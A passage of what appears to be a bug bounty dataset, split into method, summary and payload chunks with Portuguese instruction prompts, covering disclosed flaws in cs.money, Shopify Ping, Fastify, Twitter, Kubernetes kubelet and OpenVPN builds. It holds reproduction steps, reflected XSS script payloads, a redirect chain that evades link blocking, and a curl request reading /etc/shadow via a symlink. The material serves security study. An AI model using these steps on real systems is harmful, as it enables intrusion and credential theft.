97\nAccess-Control-Allow-Origin: https://register.acronis.com\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Headers: Accept, Accept-Encoding, Accept-Language, Authorization, Cache-Control, Connection, DNT, Keep-Alive, I\n\nAccess-Control-Allow-Origin: https://register.acronis.com\nAccess-Control-Allow-Credentials: true", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce,auth_bypass,cors,subdomain_takeover", "technologies": "go,nginx", "chunk_type": "payload", "entry_index": 13}}, {"doc_id": "bb_method_14", "text": "Invoke the API call `/create-payment` as below:\n\n```\nPOST https://cs.money/create-payment HTTP/1.1\nHost: cs.money\nContent-Type: application/json;charset=UTF-8\nCookie: steamid=\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588; \n\n{\"merchant\":\"cardpay\",\"amount\":10}\n```\n\nYou will get a response with a Cardpay order ID and URL:\n```\nHTTP/1.1 200 OK\n...\n{\"merchant\":\"cardpay\",\"orderId\":2034944,\"success\":true,\"url\":\"https://cardpay.com/MI/payment.html?uuid=DaG438Bda6GC13h5db1bGD01\"}\n```\n\nYou can then cancel the payment by hitting the Cardpay cancel URL:\n```\nhttps://cardpay.com/MI/cancel.html?uuid=DaG438Bda6GC13h5db1bGD01\n```\n\nThis will result in a cancelled transaction showing in the user's transaction history of the amount specified by the attacker. The attacker could repeat this numerous times until the account is banned by cs.money (this occurred on one of my test accounts).", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "methodology", "entry_index": 14}}, {"doc_id": "bb_summary_14", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Attacker can generate cancelled transctions in a user's transaction history using only Steam ID\n\nThe API endpoint `/create-payment` requires only the steam ID of the account to create the payment. When this endpoint is called using the `cardpay` flow, it returns a transaction ID on the Cardpay system. The attacker can access this transaction, and immediately cancel it (or pay it ;) ), which leads to a visible cancelled transaction in the cs.money user's transaction history.\n\nAlthough there is no impact to the user, they will certainly be confused.\n\nImpact: Confusion for the user due to the ability to create many cancelled transactions, potentially leading to the account being banned.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "summary", "entry_index": 14}}, {"doc_id": "bb_payload_14", "text": "Vulnerability: unknown\nTechnologies: \n\nPayloads/PoC:\nPOST https://cs.money/create-payment HTTP/1.1\nHost: cs.money\nContent-Type: application/json;charset=UTF-8\nCookie: steamid=\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588; \n\n{\"merchant\":\"cardpay\",\"amount\":10}\n\nHTTP/1.1 200 OK\n...\n{\"merchant\":\"cardpay\",\"orderId\":2034944,\"success\":true,\"url\":\"https://cardpay.com/MI/payment.html?uuid=DaG438Bda6GC13h5db1bGD01\"}\n\nhttps://cardpay.com/MI/cancel.html?uuid=DaG438Bda6GC13h5db1bGD01", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "payload", "entry_index": 14}}, {"doc_id": "bb_method_15", "text": "1. Install Shopify Ping on your phone then enable Shopify Chat for your store.\n2. Go to your Shopify Store and start chatting as a customer. \u2588\u2588\u2588\n3. Log in to Staff account on Shopify Ping and click on send image \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n4. Back to Shopify Store as Customer and inspect the website code, you will find the URL of image \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 https://ping-api-production.s3.us-west-2.amazonaws.com/oks\u2588\u2588\u2588\u2588\u2588\u2588\n5. Now visit https://ping-api-production.s3.us-west-2.amazonaws.com, you can view all images of other stores. \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588", "metadata": {"source_type": "bug_bounty", "vuln_type": "information_disclosure", "vuln_types": "information_disclosure", "technologies": "go,aws", "chunk_type": "methodology", "entry_index": 15}}, {"doc_id": "bb_summary_15", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [Information Disclosure] Amazon S3 Bucket of Shopify Ping (iOS) have public access of other users image\n\n### Passos para Reproduzir\n1. Install Shopify Ping on your phone then enable Shopify Chat for your store.\n2. Go to your Shopify Store and start chatting as a customer. \u2588\u2588\u2588\n3. Log in to Staff account on Shopify Ping and click on send image \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n4. Back to Shopify Store as Customer and inspect the website code, you will find the URL of image \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 https://ping-api-production.s3.us-west-2.amazonaws.com/oks\u2588\u2588\u2588\u2588\u2588\u2588\n5. Now visit https://ping-api-production.s3.us-west-2.amazonaws.com, you can v\n\nImpact: Using this Bucket access, a hacker can steal all private images of other stores and the user who shared through Shopify Ping.", "metadata": {"source_type": "bug_bounty", "vuln_type": "information_disclosure", "vuln_types": "information_disclosure", "technologies": "go,aws", "chunk_type": "summary", "entry_index": 15}}, {"doc_id": "bb_method_16", "text": "[follow the steps]\n\n 1. [signup with the new details]\n 1. [go to login page]\n 1. [there we will see password details are automatically filled]", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss", "technologies": "go", "chunk_type": "methodology", "entry_index": 16}}, {"doc_id": "bb_summary_16", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: password field autocomplete enabled\n\n[Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications that employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.\nThe stored credentials can be captured by an attacker who gains control over the user's computer. Further, an attacker who finds a separate application vulnerability such as cross-site scripting may be able to exploit this to retrieve a user's browser-stored credentials.]\n\nImpact: This autocomplete password can be sniffed without user permission", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss", "technologies": "go", "chunk_type": "summary", "entry_index": 16}}, {"doc_id": "bb_summary_17", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Brave Browser potentially logs the last time a Tor window was used\n\nA vulnerability in the Brave Browser allows an attacker to view the last time a Tor session was used in incognito mode. A local, on-disk attacker could read the Brave Browser's \"Local State\" json file and identify the last time a Tor session was used, affecting the confidentiality of a user's Tor session.\n\nFor example, the \"Local State\" file of a user who has recently used a Tor session would list a key value pair with a timestamp as accurate as \"13248493693576042\". This allows an attacker to fingerprint, or prove beyond reasonable doubt, that a user was using Tor at that very specific moment in time.\n\nImpact: Violate the confidentiality of a user's Tor session.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "summary", "entry_index": 17}}, {"doc_id": "bb_method_18", "text": "Given the following Fastify server:\n\n```js\nconst app = require('fastify')();\n\napp.get('/', async () => {\n return { hello: 'world' };\n});\n\nconst start = async () => {\n await app.listen(9000)\n}\nstart();\n```\n\nRequesting this as follow:\n\n```sh\ncurl -v http://localhost:9000\n```\n\nit outputs a HTTP 200 with the expected content:\n\n```sh\n* Trying 127.0.0.1:9000...\n* TCP_NODELAY set\n* Connected to localhost (127.0.0.1) port 9000 (#0)\n> GET / HTTP/1.1\n> Host: localhost:9000\n> User-Agent: curl/7.68.0\n> Accept: */*\n> \n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< content-type: application/json; charset=utf-8\n< content-length: 17\n< Date: Tue, 03 Nov 2020 19:21:41 GMT\n< Connection: keep-alive\n< Keep-Alive: timeout=5\n< \n* Connection #0 to host localhost left intact\n{\"hello\":\"world\"}\n```\n\nThough, if we request the same route with an `Accept-Version` header:\n\n```sh\ncurl -v -H \"Accept-version: tada\" http://localhost:9000\n```\n\nit outputs a HTTP 404:\n\n```sh\n* Trying 127.0.0.1:9000...\n* TCP_NODELAY set\n* Connected to localhost (127.0.0.1) port 9000 (#0)\n> GET / HTTP/1.1\n> Host: localhost:9000\n> User-Agent: curl/7.68.0\n> Accept: */*\n> Accept-version: tada\n> \n* Mark bundle as not supporting multiuse\n< HTTP/1.1 404 Not Found\n< content-type: application/json; charset=utf-8\n< content-length: 72\n< Date: Tue, 03 Nov 2020 19:25:09 GMT\n< Connection: keep-alive\n< Keep-Alive: timeout=5\n< \n* Connection #0 to host localhost left intact\n{\"message\":\"Route GET:/ not found\",\"error\":\"Not Found\",\"statusCode\":404}\n```\n\nWhen a http cache / CDN are in front of such a server, an attacker can use this behavior to trigger caching of a 404 page on a legal route. Ex; A default Fastly (the CDN we use) or Varnish config will result in a cached 404 page with the above setup.\n\nWhen versioned routes are in use I also think that a `Vary` http header with `Accept-Version` as a value should be added to the response. That shall prevent a http cache / CDN from caching a 404 under the same cache key ", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "methodology", "entry_index": 18}}, {"doc_id": "bb_summary_18", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Default behavior of Fastifys versioned routes can be used for cache poisoning when Fastify is used in combination with a http cache / CDN\n\n### Passos para Reproduzir\nGiven the following Fastify server:\n\n```js\nconst app = require('fastify')();\n\napp.get('/', async () => {\n return { hello: 'world' };\n});\n\nconst start = async () => {\n await app.listen(9000)\n}\nstart();\n```\n\nRequesting this as follow:\n\n```sh\ncurl -v http://localhost:9000\n```\n\nit outputs a HTTP 200 with the expected content:\n\n```sh\n* Trying 127.0.0.1:9000...\n* TCP_NODELAY set\n* Connected to localhost (127.0.0.1) port 9000 (#0)\n> GET / HTTP/1.1\n> Host: localhost:90\n\nImpact: An attacker can use this cache poisoning to perform an attack where fully functionally URLs are replaced with 404's.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "summary", "entry_index": 18}}, {"doc_id": "bb_payload_18", "text": "Vulnerability: unknown\nTechnologies: \n\nPayloads/PoC:\nconst app = require('fastify')();\n\napp.get('/', async () => {\n return { hello: 'world' };\n});\n\nconst start = async () => {\n await app.listen(9000)\n}\nstart();\n\ncurl -v http://localhost:9000\n\n* Trying 127.0.0.1:9000...\n* TCP_NODELAY set\n* Connected to localhost (127.0.0.1) port 9000 (#0)\n> GET / HTTP/1.1\n> Host: localhost:9000\n> User-Agent: curl/7.68.0\n> Accept: */*\n> \n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< content-type: application/json; charset=utf-8\n< content-length: 17\n< Date: Tue, 03 Nov 2020 19:21:41 GMT\n< Connection: keep-alive\n< Keep-Alive: timeout=5\n< \n* Connection #0 to host localhost left intact\n{\"hello\":\"world\"}\n\ncurl -v -H \"Accept-version: tada\" http://localhost:9000\n\n* Trying 127.0.0.1:9000...\n* TCP_NODELAY set\n* Connected to localhost (127.0.0.1) port 9000 (#0)\n> GET / HTTP/1.1\n> Host: localhost:9000\n> User-Agent: curl/7.68.0\n> Accept: */*\n> Accept-version: tada\n> \n* Mark bundle as not supporting multiuse\n< HTTP/1.1 404 Not Found\n< content-type: application/json; charset=utf-8\n< content-length: 72\n< Date: Tue, 03 Nov 2020 19:25:09 GMT\n< Connection: keep-alive\n< Keep-Alive: timeout=5\n< \n* Connection #0 to host localhost left intact\n{\"message\":\"Route GET:/ \n\nsh\ncurl -v http://localhost:9000\n\n\nsh\ncurl -v -H \"Accept-version: tada\" http://localhost:9000\n", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "payload", "entry_index": 18}}, {"doc_id": "bb_method_19", "text": "1. Open This link https://www.exodus.io/keybase.txt \n 2. Search for username, uid\n 3. You will get some usernames with uid.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "methodology", "entry_index": 19}}, {"doc_id": "bb_summary_19", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Exposed Configuration Files at https://www.exodus.io/keybase.txt\n\n### Resumo da Vulnerabilidade\nUsername, uid information is present in txt file.\n\n### Passos para Reproduzir\n1. Open This link https://www.exodus.io/keybase.txt \n 2. Search for username, uid\n 3. You will get some usernames with uid.\n\n### Impacto\nThis information may help attacker in further attacks.\n\nImpact: This information may help attacker in further attacks.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "summary", "entry_index": 19}}, {"doc_id": "bb_method_20", "text": "- Use your favorite web browser\n- Go to : \n```\nhttps://\u2588\u2588\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588&\u2588\u2588\u2588=TEST%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%27)%3C/script%3E\n```\n\nAn XSS is triggered !\n\nThe initial page was https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\nWith a little research, you can find a hidden parameter \"\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\" which is directly reflected in the source code **without sanitize user entries**. Then just close the tag and inject our malicious code.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce", "technologies": "java,go,aws", "chunk_type": "methodology", "entry_index": 20}}, {"doc_id": "bb_summary_20", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Reflected XSS in https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588 via hidden parameter \"\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\"\n\n### Passos para Reproduzir\n- Use your favorite web browser\n- Go to : \n```\nhttps://\u2588\u2588\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588&\u2588\u2588\u2588=TEST%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%27)%3C/script%3E\n```\n\nAn XSS is triggered !\n\nThe initial page was https://\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\n\nWith a little research, you can find a hidden parameter \"\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\" which is directly reflected in the source code **without sanitize user entries**. Then just close the tag and inject our malicious code.\n\n### Impacto\nThe damages of a reflexive XSS flaw are\n\nImpact: The damages of a reflexive XSS flaw are numerous: executing malicious javascript code, phishing, defacing ... We can also inject HTML code and mislead the user when displaying the web page.\n\nFrom [OWASP](https://owasp.org/www-community/attacks/xss/) :\n\n>Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce", "technologies": "java,go,aws", "chunk_type": "summary", "entry_index": 20}}, {"doc_id": "bb_payload_20", "text": "Vulnerability: xss\nTechnologies: java, go, aws\n\nPayloads/PoC:\nhttps://\u2588\u2588\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588&\u2588\u2588\u2588=TEST%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%27)%3C/script%3E\n\n\nhttps://\u2588\u2588\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588&\u2588\u2588\u2588=TEST%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%27)%3C/script%3E\n", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce", "technologies": "java,go,aws", "chunk_type": "payload", "entry_index": 20}}, {"doc_id": "bb_method_21", "text": "- Use your favorite web browser\n- Go to : \n```\nhttps://\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588&\u2588\u2588\u2588\u2588\u2588\u2588=XXX%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%20here%27)%3C/script%3E\n```\n\nAn XSS is triggered !\n\nThe initial page was https://\u2588\u2588\u2588\u2588\u2588\u2588/guest/tls_sso.php\n\nWith a little research, you can find a hidden parameter \"\u2588\u2588\u2588\" which is directly reflected in the source code **without sanitize user entries**. Then just close the tag and inject our malicious code.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce", "technologies": "php,java,go,aws", "chunk_type": "methodology", "entry_index": 21}}, {"doc_id": "bb_summary_21", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Reflected XSS on https://\u2588\u2588\u2588/\u2588\u2588\u2588\u2588via hidden parameter \"\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\"\n\n### Passos para Reproduzir\n- Use your favorite web browser\n- Go to : \n```\nhttps://\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588&\u2588\u2588\u2588\u2588\u2588\u2588=XXX%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%20here%27)%3C/script%3E\n```\n\nAn XSS is triggered !\n\nThe initial page was https://\u2588\u2588\u2588\u2588\u2588\u2588/guest/tls_sso.php\n\nWith a little research, you can find a hidden parameter \"\u2588\u2588\u2588\" which is directly reflected in the source code **without sanitize user entries**. Then just close the tag and inject our malicious code.\n\n### Impacto\nThe damages of a reflected XSS \n\nImpact: The damages of a reflected XSS flaw are numerous: executing malicious javascript code, phishing, defacing ... We can also inject HTML code and mislead the user when displaying the web page.\n\nFrom [OWASP](https://owasp.org/www-community/attacks/xss/) :\n\n>Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce", "technologies": "php,java,go,aws", "chunk_type": "summary", "entry_index": 21}}, {"doc_id": "bb_payload_21", "text": "Vulnerability: xss\nTechnologies: php, java, go\n\nPayloads/PoC:\nhttps://\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588&\u2588\u2588\u2588\u2588\u2588\u2588=XXX%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%20here%27)%3C/script%3E\n\n\nhttps://\u2588\u2588\u2588\u2588\u2588/\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588&\u2588\u2588\u2588\u2588\u2588\u2588=XXX%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%20here%27)%3C/script%3E\n", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce", "technologies": "php,java,go,aws", "chunk_type": "payload", "entry_index": 21}}, {"doc_id": "bb_method_22", "text": "1. Install [twurl](https://github.com/twitter/twurl).\n 1. Authenticate as a read-only application.\n 1. Execute following command: `twurl /fleets/v1/create -X POST --header 'Content-Type: application/json' -d '{\"text\":\"Hey yo\"}'`\n 1. A fleet with `Hey yo` text will be created.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "methodology", "entry_index": 22}}, {"doc_id": "bb_summary_22", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Read-only application can publish/delete fleets\n\nTwitter released [Fleet](https://blog.twitter.com/ja_jp/topics/product/2020/ntroducing-fleets-new-way-to-join-the-conversation-jp.html) yesterday. This feature is working with few APIs, and these APIs are missing permission checks.\n\nImpact: The read-only application can publish fleets without getting Write permission. This issue has a similar impact to #434763", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "", "chunk_type": "summary", "entry_index": 22}}, {"doc_id": "bb_method_23", "text": "1. Choose the target URL; let's take `https://ddosecrets.com` as an example.\n 2. Replace all occurrences of the ASCII period by the URL-encoded version of the [Ideographic Full Stop](https://unicode-table.com/en/3002/), i.e. `%E3%80%82`: `https://ddosecrets%E3%80%82com`.\n 3. URL-encode the result of step 2: `https%3A%2F%2Fddosecrets%25E3%2580%2582com`.\n 4. Append the result of step 3 to `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=` and append `%3F` to the result: `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=https%3A%2F%2Fddosecrets%25E3%2580%2582com%3F`.\n 5. URL-encode the result of step 4: `https%3A%2F%2Fanalytics.twitter.com%2Fdaa%2F0%2Fdaa_optout_actions%3Faction_id%3D4%26rd%3Dhttps%253A%252F%252Fddosecrets%2525E3%252580%252582com%253F`.\n 6. Append the result of step 5 to `https://twitter.com/login?redirect_after_login=`: `https://twitter.com/login?redirect_after_login=https%3A%2F%2Fanalytics.twitter.com%2Fdaa%2F0%2Fdaa_optout_actions%3Faction_id%3D4%26rd%3Dhttps%253A%252F%252Fddosecrets%2525E3%252580%252582com%253F`.\n 7. Log in to Twitter and tweet the URL resulting from step 6. Posting the tweet will succeed (but it shouldn't, if link validation were effective).\n 8. Click the malicious link in the tweet you just posted; you'll get redirected to the forbidden domain without being shown any Twitter interstitial page.\n\n(If you're not logged in to Twitter when you click the malicious link, you'll get prompted to log in, but you will still get redirected to the forbidden domain afterwards.)", "metadata": {"source_type": "bug_bounty", "vuln_type": "open_redirect", "vuln_types": "open_redirect", "technologies": "go", "chunk_type": "methodology", "entry_index": 23}}, {"doc_id": "bb_summary_23", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Chained open redirects and use of Ideographic Full Stop defeat Twitter's approach to blocking links\n\n### Passos para Reproduzir\n1. Choose the target URL; let's take `https://ddosecrets.com` as an example.\n 2. Replace all occurrences of the ASCII period by the URL-encoded version of the [Ideographic Full Stop](https://unicode-table.com/en/3002/), i.e. `%E3%80%82`: `https://ddosecrets%E3%80%82com`.\n 3. URL-encode the result of step 2: `https%3A%2F%2Fddosecrets%25E3%2580%2582com`.\n 4. Append the result of step 3 to `https://analytics.twitter.com/daa/0/daa_optout_actions?action_id=4&rd=` and ap\n\nImpact: Attackers can defeat [Twitter's approach to blocking links](https://help.twitter.com/en/safety-and-security/phishing-spam-and-malware-links) and post arbitrary unsafe links (starting with `https://twitter.com`, which really compounds the problem) in tweets.", "metadata": {"source_type": "bug_bounty", "vuln_type": "open_redirect", "vuln_types": "open_redirect", "technologies": "go", "chunk_type": "summary", "entry_index": 23}}, {"doc_id": "bb_method_24", "text": "1. create a pod with a mount path to `/var/log`\n 1. create a symlink in the mount point: `/var/log/rootfs_symlink -> /`\n 1. curl from within the pod: `https://:10250/logs/rootfs_symlink/etc/shadow`", "metadata": {"source_type": "bug_bounty", "vuln_type": "lfi", "vuln_types": "lfi,privilege_escalation", "technologies": "go,docker", "chunk_type": "methodology", "entry_index": 24}}, {"doc_id": "bb_summary_24", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Kubelet follows symlinks as root in /var/log from the /logs server endpoint\n\nPrivilege escalation from a pod, to root read permissions on the entire filesytem of the node, by creating symlinks inside /var/log.\nThe kubelet is simply serving a fileserver at /var/log:\n\n_kubernetes\\pkg\\kubelet\\kubelet.go:1371_\n```golang\nif kl.logServer == nil {\n\t\tkl.logServer = http.StripPrefix(\"/logs/\", http.FileServer(http.Dir(\"/var/log/\")))\n\t}\n```\nThe kubelet naturally runs as root on the node, so this basically gives the ability for pods with write permissions to /var/log directory a directory traversal as a root user on the host (potentially taking over the whole cluster by getting secret keys)\nAn easy fix is checking the symlink destination, to figure out whether it is inside /var/lib/docker or other whitelisted paths to not break to mechanism of logs correlations\n\nA while back, I discovered this bug, when you didn't had the Bug Bounty program. \nI Published the following blog:\nhttps://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts\nDescribing the vulnerability.\n\n(it requires RBAC permissions to read logs, or a kubelet configured with AlwaysAllow. and a mount point to any child directory inside /var/log)\nI researched some log collectors projects in github, seems like alot of them are freely using this mount point.\nAs a user I would not imagine those projects can potentially take clusters.\n\nImpact: Root read permissions on the entire filesystem of the node", "metadata": {"source_type": "bug_bounty", "vuln_type": "lfi", "vuln_types": "lfi,privilege_escalation", "technologies": "go,docker", "chunk_type": "summary", "entry_index": 24}}, {"doc_id": "bb_payload_24", "text": "Vulnerability: lfi\nTechnologies: go, docker\n\nPayloads/PoC:\nif kl.logServer == nil {\n\t\tkl.logServer = http.StripPrefix(\"/logs/\", http.FileServer(http.Dir(\"/var/log/\")))\n\t}\n\n\n 1. curl from within the pod: ", "metadata": {"source_type": "bug_bounty", "vuln_type": "lfi", "vuln_types": "lfi,privilege_escalation", "technologies": "go,docker", "chunk_type": "payload", "entry_index": 24}}, {"doc_id": "bb_method_25", "text": "1. Navigate to your account.\n2. In email address, add the below payload next to your email.\n`\">`", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss", "technologies": "java", "chunk_type": "methodology", "entry_index": 25}}, {"doc_id": "bb_summary_25", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: XSS in Email Input [intensedebate.com]\n\nI found an XSS in Email input. This input is not sanitized like other inputs allowing user to execute xss payloads.\n\nImpact: Reflected XSS, An attacker can execute malicious javascript codes on the target application (email input specifically). It is highly recommended to fix this one because it is found in sensitive input (email).\n\nKind Regards.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss", "technologies": "java", "chunk_type": "summary", "entry_index": 25}}, {"doc_id": "bb_payload_25", "text": "Vulnerability: xss\nTechnologies: java\n\nPayloads/PoC:\n\">", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss", "technologies": "java", "chunk_type": "payload", "entry_index": 25}}, {"doc_id": "bb_method_26", "text": "The `install` phase of the `.travis.yml` file [unconditionally executes](https://github.com/openvpn/openvpn/blob/master/.travis.yml#L120) the `.travis/build-deps.sh` script. If the following three conditions are satisfied,\n\n1. [the OS be other than `windows`](https://github.com/OpenVPN/openvpn/blob/master/.travis/build-deps.sh#L4),\n2. [environment variable `SSLLIB` be set to `openssl`](https://github.com/OpenVPN/openvpn/blob/master/.travis/build-deps.sh#L148), and\n3. [environment variable `CHOST` be set](https://github.com/OpenVPN/openvpn/blob/master/.travis/build-deps.sh#L161),\n\n(they are only satisfied for build jobs [`mingw64 | openssl-1.1.1d`](https://github.com/OpenVPN/openvpn/blob/master/.travis.yml#L87) and [`mingw32 | openssl-1.0.2u`](https://github.com/OpenVPN/openvpn/blob/master/.travis.yml#L91)), then shell functions `download_tap_windows` and `download_lzo` are executed [one](https://github.com/OpenVPN/openvpn/blob/master/.travis/build-deps.sh#L162) after the [other](https://github.com/OpenVPN/openvpn/blob/master/.travis/build-deps.sh#L165).\n\nShell functions `download_tap_windows` and `download_lzo` are defined above ([here](https://github.com/OpenVPN/openvpn/blob/master/.travis/build-deps.sh#L18) and [here](https://github.com/OpenVPN/openvpn/blob/master/.travis/build-deps.sh#L18), respectively) in `.travis/build-deps.sh`:\n\n```shell\ndownload_tap_windows () {\n if [ ! -f \"download-cache/tap-windows-${TAP_WINDOWS_VERSION}.zip\" ]; then\n wget -P download-cache/ \\\n \"http://build.openvpn.net/downloads/releases/tap-windows-${TAP_WINDOWS_VERSION}.zip\"\n fi\n}\n\ndownload_lzo () {\n if [ ! -f \"download-cache/lzo-${LZO_VERSION}.tar.gz\" ]; then\n wget -P download-cache/ \\\n \"http://www.oberhumer.com/opensource/lzo/download/lzo-${LZO_VERSION}.tar.gz\"\n fi\n}\n```\n\nNote that both `wget` commands use `http` as opposed to `https` ( though using `https` is readily possible, since both domains `build.openvpn.net` and `www.oberhumer.com", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "java,dotnet,go", "chunk_type": "methodology", "entry_index": 26}}, {"doc_id": "bb_summary_26", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Some build dependencies are downloaded over an insecure channel (without subsequent integrity checks)\n\nBuild jobs [`mingw64 | openssl-1.1.1d`](https://github.com/OpenVPN/openvpn/blob/master/.travis.yml#L87) and [`mingw32 | openssl-1.0.2u`](https://github.com/OpenVPN/openvpn/blob/master/.travis.yml#L91) download dependencies from `build.openvpn.net` and `www.oberhumer.com`over an insecure channel (`http`, _not_ `https`) and do not check their integrity in any way.\n\nThis opens the door to person-in-the-middle attacks, whereby an attacker controlling an intermediate node on the network path between Travis CI's build servers and those two servers could manipulate traffic and inject his own malicious code into the artifacts produced by the two jobs in question.\n\nImpact: The two dependencies are downloaded over an insecure channel and, therefore, can be intercepted and tampered with by a person in the middle (controlling an intermediate node on the network path between Travis CI's build servers).\n\nMoreover, as no integrity checks seem to be performed after download, a person-in-the-middle attack would go undetected and could seriously compromise the integrity of the artifacts produced by those two build jobs.\n\nPlease do not dismiss the possibility of such an attack too quickly, as it is [not as far-fetched as one would think](https://medium.com/bugbountywriteup/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb).", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "java,dotnet,go", "chunk_type": "summary", "entry_index": 26}}, {"doc_id": "bb_payload_26", "text": "Vulnerability: rce\nTechnologies: java, dotnet, go\n\nPayloads/PoC:\ndownload_tap_windows () {\n if [ ! -f \"download-cache/tap-windows-${TAP_WINDOWS_VERSION}.zip\" ]; then\n wget -P download-cache/ \\\n \"http://build.openvpn.net/downloads/releases/tap-windows-${TAP_WINDOWS_VERSION}.zip\"\n fi\n}\n\ndownload_lzo () {\n if [ ! -f 